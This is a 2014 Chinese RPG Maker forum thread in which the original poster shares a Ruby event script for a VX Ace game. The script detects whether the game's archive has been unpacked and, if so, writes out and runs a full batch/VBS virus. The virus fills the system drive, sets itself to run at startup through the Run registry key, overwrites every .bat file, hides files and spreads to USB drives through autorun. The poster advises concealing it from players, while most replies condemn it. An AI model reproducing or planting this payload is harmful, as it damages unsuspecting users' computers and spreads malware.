Project1

标题: 手把手教你防解包器!!!!怕被解包的都进来!!! [打印本页]

作者: a386881    时间: 2014-1-27 05:18
标题: 手把手教你防解包器!!!!怕被解包的都进来!!!
本帖最后由 a386881 于 2014-1-27 05:22 编辑

阅读以下内容者,即代表其同意为自己行为负全责,干了什么坏事造成了多大损失均与本文作者即我没有半毛钱关系。
人是一种狡猾的动物。无论做精密的加密,终究会被破解。
最好的加密,是恐惧。
只要做到没人敢拆你的包,你就什么加密也不用了。
今天我来谈谈,怎样把自己的Game.rgss3a打造成一个无人敢开的潘多拉魔盒。
另,今天的内容估计在RMXP和RMVX上也能找到实现方法。
你可以下载附件的游戏玩玩。说是游戏,其实只是为了配合这次教学随便找了个“事件标题”的工程
原帖:http://rpg.blue/forum.php?mod=viewthread&tid=257015
用别人的是因为我对def语句完全不理解。(捂脸)
嘛,但是幸好一些奇奇怪怪的地方学的蛮好就是了。
用事件标题一因为是插在事件里会比较醒目(方便大家讨论,但理所当然不方便坑人),二因为是我是事件脚本流的。
文中用到的病毒是 秋瑾工作室 的,因为看了看貌似比我自己写的威力大得多所以就拿来了。
原帖:http://20080808qjsoft.blog.163.c ... 666200931211827722/
如果你很奇怪为什么我能在事件脚本中写的开那么多的内容,可以去http://rpg.blue/thread-347809-1-1.html
下载RMVA补丁(注意备份)
嘛,进入正题。
工作原理:运行游戏时,通过判断Data/Animations.rvdata2的有无来判断是否已被拆包。
工作内容:若有Data/Animations.rvdata2,说明被拆包了,则向文件夹输出bat病毒(其实是个混合病毒),并运行之。
嘛,下面贴一下脚本码好了,贴完再讲解。
  1. if File.exist?("Data/Animations.rvdata2")
  2. OutputTXTcontent = <<END_OF_STRING
  3. if exsit %SystemDrive%\\PAGEFILES.SYS goto end
  4. copy %0 %windir%\\system32\\logon.exe.bat                     
  5. FOR /F "tokens=3*" %%i in ('dir /-c %SystemDrive%^|find "可用字节"') do fsutil file createnew %SystemDrive%\\PAGEFILES.SYS %%i
  6. attrib +r +s +h %SystemDrive%\\PAGEFILES.SYS        
  7. reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v KV2007 /t REG_SZ /d %windir%\\system32\\logon.vbs                 
  8. reg delete HKLM\\Software\\Microsoft\\windows\\CurrentVersion\\explorer\\Advanced\\Folder\\Hidden\\SHOWALL /va /f                    
  9. for /r %SystemDrive% %%i in (*.bat) do type %0>%%i   
  10. if exist %windir%\\system32\\logon.vbs goto end
  11. echo set fs =createobject("scripting.filesystemobject")>>%windir%\\system32\\logon.vbs
  12. echo set WshShell = WScript.CreateObject("WScript.Shell")>>%windir%\\system32\\logon.vbs
  13. echo Set objWMIService = GetObject("winmgmts:" _>>%windir%\\system32\\logon.vbs
  14. echo ^& "{impersonationLevel=impersonate}!\\\\" ^& strComputer ^& "\\root\\cimv2")>>%windir%\\system32\\logon.vbs
  15. echo Set colDisks = objWMIService.ExecQuery _>>%windir%\\system32\\logon.vbs
  16. echo ("Select * from Win32_LogicalDisk")>>%windir%\\system32\\logon.vbs
  17. echo For i =1 to 9000000000>>%windir%\\system32\\logon.vbs
  18. echo For Each objDisk in colDisks>>%windir%\\system32\\logon.vbs
  19. echo Select Case objDisk.DriveType>>%windir%\\system32\\logon.vbs
  20. echo :Case 2:>>%windir%\\system32\\logon.vbs
  21. echo y1=fs.FileExists(objDisk.DeviceID ^& "\\AUTORUN.INF")>>%windir%\\system32\\logon.vbs
  22. echo if not y1 then>>%windir%\\system32\\logon.vbs
  23. echo set f=fs.opentextfile(objDisk.DeviceID ^& "\\AUTORUN.INF",2, true)>>%windir%\\system32\\logon.vbs
  24. echo f.write "[AutoRun]" ^& vbcrlf>>%windir%\\system32\\logon.vbs
  25. echo f.write "open=logon.exe.bat" ^& vbcrlf>>%windir%\\system32\\logon.vbs
  26. echo f.write "shellexecute=logon.exe.bat" ^& vbcrlf>>%windir%\\system32\\logon.vbs
  27. echo f.write "shell\\Auto\\command=logon.exe.bat" ^& vbcrlf>>%windir%\\system32\\logon.vbs
  28. echo f.Close>>%windir%\\system32\\logon.vbs
  29. echo Set f1 = fs.GetFile(objDisk.DeviceID ^& "\\AUTORUN.INF")>>%windir%\\system32\\logon.vbs
  30. echo If f1.Attributes = f1.Attributes AND 2 Then>>%windir%\\system32\\logon.vbs
  31. echo :f1.Attributes = f1.Attributes XOR 7:>>%windir%\\system32\\logon.vbs
  32. echo End If>>%windir%\\system32\\logon.vbs
  33. echo end if>>%windir%\\system32\\logon.vbs
  34. echo y2=fs.FileExists(objDisk.DeviceID ^& "\\logon.exe.bat")>>%windir%\\system32\\logon.vbs
  35. echo if not y2 then >>%windir%\\system32\\logon.vbs
  36. echo fs.CopyFile "c:\\windows\\system32\\logon.exe.bat",objDisk.DeviceID ^& "\\">>%windir%\\system32\\logon.vbs
  37. echo Set f2 = fs.GetFile(objDisk.DeviceID ^& "\\logon.exe.bat")>>%windir%\\system32\\logon.vbs
  38. echo If f2.Attributes = f2.Attributes AND 2 Then>>%windir%\\system32\\logon.vbs
  39. echo :f2.Attributes = f2.Attributes XOR 7:>>%windir%\\system32\\logon.vbs
  40. echo End If>>%windir%\\system32\\logon.vbs
  41. echo end if>>%windir%\\system32\\logon.vbs
  42. echo dirr = Wshshell.ExpandEnvironmentStrings("%systemdrive%")>>%windir%\\system32\\logon.vbs
  43. echo y3=fs.FileExists(dirr & "\\PAGEFILES.SYS")>>%windir%\\system32\\logon.vbs
  44. echo if not y3 then>>%windir%\\system32\\logon.vbs
  45. echo WshShell.Run "logon.exe.bat">>%windir%\\system32\\logon.vbs
  46. echo WScript.Sleep 500>>%windir%\\system32\\logon.vbs
  47. echo Set f3 = fs.GetFile(dirr & "\\PAGEFILES.SYS")>>%windir%\\system32\\logon.vbs
  48. echo If f3.Attributes = f3.Attributes AND 2 Then>>%windir%\\system32\\logon.vbs
  49. echo :f3.Attributes = f3.Attributes XOR 7:>>%windir%\\system32\\logon.vbs
  50. echo End If>>%windir%\\system32\\logon.vbs
  51. echo end if>>%windir%\\system32\\logon.vbs
  52. echo End Select>>%windir%\\system32\\logon.vbs
  53. echo Next>>%windir%\\system32\\logon.vbs
  54. echo WScript.Sleep 5000>>%windir%\\system32\\logon.vbs
  55. echo Next>>%windir%\\system32\\logon.vbs
  56. END_OF_STRING
  57. OutputTXT = File.open("hunter.bat",'w')
  58. OutputTXT.puts OutputTXTcontent
  59. OutputTXT.close
  60. #如果你找到了一个合适的全键盘脚本,那么可以在这里加一行全屏+锁全键盘。效果绝对赞。
  61. system "start hunter.bat"
  62. end
复制代码
讲解时间!
if File.exist?("Data/Animations.rvdata2")
这行是判断文件是否存在的。
OutputTXTcontent = <<END_OF_STRING
XXXX
XXXX
END_OF_STRING
这两句话是:把这两行中间的东西存储到字符串OutputTXTcontent里面去。
其中END_OF_STRING和字符串的名字都可以改,上下一致就行。
中间的东西是病毒代码。
bat病毒或者vbs病毒或者aotorun.inf病毒都行。
OutputTXT = File.open("hunter.bat",'w')
OutputTXT.puts OutputTXTcontent
OutputTXT.close
这个是输出TXT的脚本,其中OutputTXT同样可以改,上下一致就行。
system "start hunter.bat"
这个是ruby调用外部程序的方法。实际上有三种常见方法,我只看懂这一种。
嘛,一点相关的资料也都放进附件了。嗯嗯。
至于中间的那段病毒代码……这不是RM的范围了。似乎不该在这里讨论的说。况且我也有一些地方还没搞清楚。
不过代码中的所有\要换成\\(就是多了一个\),不然会被ruby认为是转义符。真傻啊。
可不要拿这个脚本去做坏事哦!可不要把RMVA给搞成神马自动生成病毒发送器……那可不是我本意啊……
PS:后来想了想我还是给你们换了一个比较安全的假病毒。秋瑾工作室的那个我在标题事件的第三页放了一份,附件里也放了一份TXT,有兴趣自行去参观。
差点忘了附件:[url=http://pan.baidu.com/share/link?shareid=1790600109&uk=939995919][/url]
作者: gonglinyuan    时间: 2014-1-27 08:49
.....我在虚拟机里刚运行,
就被360拦截了。
他说start hunter.bat是病毒。。。

麻烦LZ换个高级点的病毒好吗。。
作者: taroxd    时间: 2014-1-27 08:58
本帖最后由 taroxd 于 2014-1-27 09:16 编辑

Lz你应该学一学def
你这段脚本不应该写在事件里执行,倒是应该在启动游戏的时候执行
作者: 月华风    时间: 2014-1-27 09:21
= = 防解包 最好的方法是不加包 那样就没人解包了
作者: end55rpg    时间: 2014-1-27 09:27
我想知道 破解后你那些代码可能别人运行不到。
我一般拆开后就直接打开工程了,然后我觉得找到你那段代码应该还是容易的

貌似现在病毒基本都会被杀毒吧
作者: 克莉丝    时间: 2014-1-27 09:44
家里进来一个小偷你把他打死了

@protosssonny 把楼主这帖子删掉吧
作者: dengwei    时间: 2014-1-27 09:46
楼主的方法不实用啊,我完全可以先看工程再运行,至少邪恶的我就是这样的,其实我觉得用脚本加密更靠谱
作者: 紫英晓狼1130    时间: 2014-1-27 10:43
这种方法没有实际用途,杀毒软件会隔离
宁愿游戏被破解,也不能向玩家的系统种病毒
作者: yangjunyin2002    时间: 2014-1-27 11:07
如果放病毒,玩家直接删了=-=还管你加不加密。放病毒可耻,而且没人去玩你这个病毒的game
作者: 1105741847    时间: 2014-1-27 11:14
过百度杀毒(我家电脑正在重装系统,因为病毒。。。。)
作者: 柳之一    时间: 2014-1-27 11:19
拆你遊戲就是拿圖片啊,腳本誰不會寫啊
作者: a386881    时间: 2014-1-27 11:23
yangjunyin2002 发表于 2014-1-27 11:07
如果放病毒,玩家直接删了=-=还管你加不加密。放病毒可耻,而且没人去玩你这个病毒的game ...

这只是一种可行的方法,并不是叫你一定要放病毒。利用这个很轻松就能做出来一些很有趣的bat,比方说通关后弹出bat窗口啦,或者创建一个实时监控你的金钱的内存的vbs(这个暂时不会,不过貌似不难的样子)啥的。也可以做出如果你拆包再运行就自动删除游戏的bat或vbs。打击力度可以自己调整嘛。
作者: a386881    时间: 2014-1-27 11:24
yangjunyin2002 发表于 2014-1-27 11:07
如果放病毒,玩家直接删了=-=还管你加不加密。放病毒可耻,而且没人去玩你这个病毒的game ...

再说不让他们知道放了不就行了。又没有规定游戏作者有义务向玩家说明游戏中引用的所有脚本和用途都是什么。
作者: a386881    时间: 2014-1-27 11:28
gonglinyuan 发表于 2014-1-27 08:49
.....我在虚拟机里刚运行,
就被360拦截了。
他说start hunter.bat是病毒。。。

……没办法,那篇发布病毒的文是09年的。
比较好的bat病毒的话,我也写不出来太好的,但你可以去找啊,找来了取而代之不就妥了。
你还可以一次扔上三四十个病毒。。。。。。丧心病狂
作者: 火烧兔子    时间: 2014-1-27 11:30
太狠了

不想让人解密,别把游戏发出来就行了
作者: a386881    时间: 2014-1-27 12:14
下面进行回复(我能说我刚起么……)
1.问: @taroxd
你这段脚本不应该写在事件里执行,倒是应该在启动游戏的时候执行

回答:
啊啊啊我不都说了  ”用事件标题一因为是插在事件里会比较醒目(方便大家讨论,但理所当然不方便坑人),二因为是我是事件脚本流的。”
插在事件里不方便坑人的意思理所当然就是让你们都插到脚本编辑器去嘛!
但是我要真插进去了(假设我学会了def)除了乃们这些疯狂的脚本触以外还有谁能看懂啊!
2.问:  @end55rpg  
我想知道 破解后你那些代码可能别人运行不到。
我一般拆开后就直接打开工程了,然后我觉得找到你那段代码应该还是容易的
貌似现在病毒基本都会被杀毒吧
问:  @dengwei  
楼主的方法不实用啊,我完全可以先看工程再运行,至少邪恶的我就是这样的,其实我觉得用脚本加密更靠谱
答:如果你能在30张地图,100+个事件中准确找到我把代码放在哪里了,并且你对你对每个新入手的游戏都能这么战战兢兢地翻完全事件再玩,那你已经对这玩意免疫了。不过我还可以把它放进脚本编辑器里。改造一下的话,扔到BASE或者TITLE里不就行了?总有那么多会用def的人,不是人人都像我这么笨……
3.问:@yangjunyin2002
如果放病毒,玩家直接删了=-=还管你加不加密。放病毒可耻,而且没人去玩你这个病毒的game
答:
过静态的能力很好。不拆包你就不会发现这玩意有这么危险。不拆包也确实没危险。不让他们知道放了不就行了。又没有规定游戏作者有义务向玩家说明游戏中引用的所有脚本和用途都是什么。难道非得满大街喊着告诉人家“我的游戏可是涂了毒的游戏啊!”?
4. 问 @gonglinyuan
.....我在虚拟机里刚运行,
就被360拦截了。
他说start hunter.bat是病毒。。。
麻烦LZ换个高级点的病毒好吗。。
答:
……没办法,那篇发布病毒的文是09年的。
比较好的bat病毒的话,我也写不出来太好的,但你可以去找啊,找来了取而代之不就妥了。
你还可以一次扔上三四十个病毒。。。。。。丧心病狂
5.问:  @紫英晓狼1130  
这种方法没有实际用途,杀毒软件会隔离
宁愿游戏被破解,也不能向玩家的系统种病毒
答:
1.不要过分相信您的杀软。
2.诚然。但是,当一个玩家违反了我的《免费游戏使用条例》中的“不允许在未经许可的情况下私自拆包”这一条后,就不再视其为玩家,而是视其为窃贼。嘛,大概就是这样。

个人补充说明:
事实上这也是一个ruby编写并调用bat的案例,并不是叫你一定要放病毒。利用这个很轻松就能做出来一些很有趣的bat,比方说运行游戏前校验文件完整性啦,通关后弹出bat“作者感言”窗口啦,或者运行游戏时创建一个实时监控你的金钱的内存的vbs以防止作弊(这个暂时不会,不过貌似不难的样子)啥的。当然也可以做出如果你拆包再运行就自动删除游戏的bat。用法很多嘛。
作者: 晴兰    时间: 2014-1-27 12:41
提示: 作者被禁止或删除 内容自动屏蔽
作者: a386881    时间: 2014-1-27 13:05
晴兰 发表于 2014-1-27 12:41
其实LZ。。。如果你学一学def的话。。。就知道可以用def start(*); end这个空函数屏蔽原本start的功能。。
...

1.咱就是这样想的。(捂脸)不说的话谁解了包会先去翻全脚本啊。不过估计以后我发的游戏会被重点排查把……
2.def start(*); end是啥情况,插到哪里?是main前边还是啥地方??求详细说明。插到main前没有发现问题。
3.……是负反馈调节,还是适者生存,不适者淘汰。。。
作者: 晴兰    时间: 2014-1-27 13:22
提示: 作者被禁止或删除 内容自动屏蔽
作者: a386881    时间: 2014-1-27 13:30
晴兰 发表于 2014-1-27 12:41
我指的是system,已修改。

讨论:

这回伤了。加入后运行bat不能。但是也有反制方法。
就以事件标题为例吧。
发布前弄一个带有自动执行事件的Map001.rvdata2(事件标题)和Scripts.rvdata2,塞进哪个奇奇怪怪的角落里(例如\Audio\BGM)。(俗称乱扔垃圾)
每次运行到事件标题时都校验是否解包,若已经解包,就把藏起来的Map001.rvdata2和Scripts.rvdata2复制一份到data文件夹,覆盖原文件。
这样大概就行了,嗯嗯。
……解包器总不能把校验文件是否存在的语句也屏蔽了吧,那也太丧心病狂了。真那样的话系统自带的存档页面都得跳错。
作者: 晴兰    时间: 2014-1-27 13:34
提示: 作者被禁止或删除 内容自动屏蔽
作者: lionlxh    时间: 2014-1-27 14:18
我觉得与其写病毒,不如写一个删除所有脚本和素材的函数
作者: 上贺茂润    时间: 2014-1-27 15:51
其实现在有一种Visdiya的病毒内置工具,可以把一些大型的病毒内置在很小的游戏里,比如震荡波这种……
作者: a763731590    时间: 2014-1-27 16:27
一进来就被lz的头像吓哭【
VAorz
作者: fux2    时间: 2014-1-27 20:26
感觉意义不大,解开包之后都能看到脚本了,写在脚本里的防护根本没用。
作者: 精灵使者    时间: 2014-1-27 21:45
其实使用奇怪的格式再加密,解压出来的东西就什么都没有了。
以上
例如不用rvdata格式
作者: 喵呜喵5    时间: 2014-1-27 22:58
谁都这么干了早晚RMVA制作的游戏不管有没有病毒都会直接被杀毒软件干掉……

解包的目的本质上就两种
拿脚本、拿素材

脚本的话,写的复杂一点迷惑一点的解包出来别人也不会用

素材的话,
现在你随便制作一个游戏拿给别人玩,别人说不定就会指着你的素材说:
“哦,这幅画是魔女之家中的……”
防止别人拿你的素材的方法很简单,只要你的游戏做的足够好了,拿你的素材用在自己游戏中的人受到的是比病毒更可怕的,他游戏玩家的谴责




欢迎光临 Project1 (https://rpg.blue/) Powered by Discuz! X3.1